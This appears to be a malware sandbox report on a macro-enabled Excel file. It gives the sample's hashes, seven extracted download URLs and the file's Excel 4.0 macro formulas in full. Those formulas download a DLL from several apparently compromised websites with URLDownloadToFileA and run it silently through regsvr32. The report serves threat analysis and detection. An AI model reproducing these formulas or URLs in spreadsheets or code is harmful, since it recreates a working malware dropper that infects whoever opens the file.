Behavioral task
behavioral1
Sample
10f3e425615b3c4b3f10fed7215c5a070abcd31b21e839d5e05ad652d128b11e.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
10f3e425615b3c4b3f10fed7215c5a070abcd31b21e839d5e05ad652d128b11e.xlsm
Resource
win10v2004-20241007-en
General
-
Target
10f3e425615b3c4b3f10fed7215c5a070abcd31b21e839d5e05ad652d128b11e
-
Size
30KB
-
MD5
1f0eda9cd962ec899d52ddeab33b27a5
-
SHA1
8aa6242b4c2a6844609b2e3820ce4e747ac5eadd
-
SHA256
10f3e425615b3c4b3f10fed7215c5a070abcd31b21e839d5e05ad652d128b11e
-
SHA512
e55425b5dafa1a1f517447633d34b94d132e8e74aa007b030bb2701cb20706db36bb32473c38a9ac7e00f2f9d4858265ba853c2721f7d459eae8728662f11dc5
-
SSDEEP
384:LwdAZPFhNjUA7icg0SCdiVAg2GKgUrNU/qWhZOdBNPJM+kqr9eCgh0k5NGE6h:cdwFhNbiH2rndFfPdkqstJNGE6h
Malware Config
Extracted
http://www.ajaxmatters.com/c7g8t/hAQX/
http://acsconnection.com/wMHahVuKdttKf5doY/
http://aopda.org/wp-content/uploads/dnQjiyCcSvTbX/
http://www.seroja.edu.my/wp-includes/xL7xTYNQ/
http://intranet.fiscaltech.com.br/wp-softwares/G2DUFrG3OIV/
http://www.ifscapital.com.my/G1lIGo/
http://topadmin.topinteriors.co.in/tabler-dist/ga2l8Ioyrba/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/hAQX/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://acsconnection.com/wMHahVuKdttKf5doY/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/dnQjiyCcSvTbX/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.seroja.edu.my/wp-includes/xL7xTYNQ/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://intranet.fiscaltech.com.br/wp-softwares/G2DUFrG3OIV/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ifscapital.com.my/G1lIGo/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://topadmin.topinteriors.co.in/tabler-dist/ga2l8Ioyrba/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
-
10f3e425615b3c4b3f10fed7215c5a070abcd31b21e839d5e05ad652d128b11e.xlsm office2007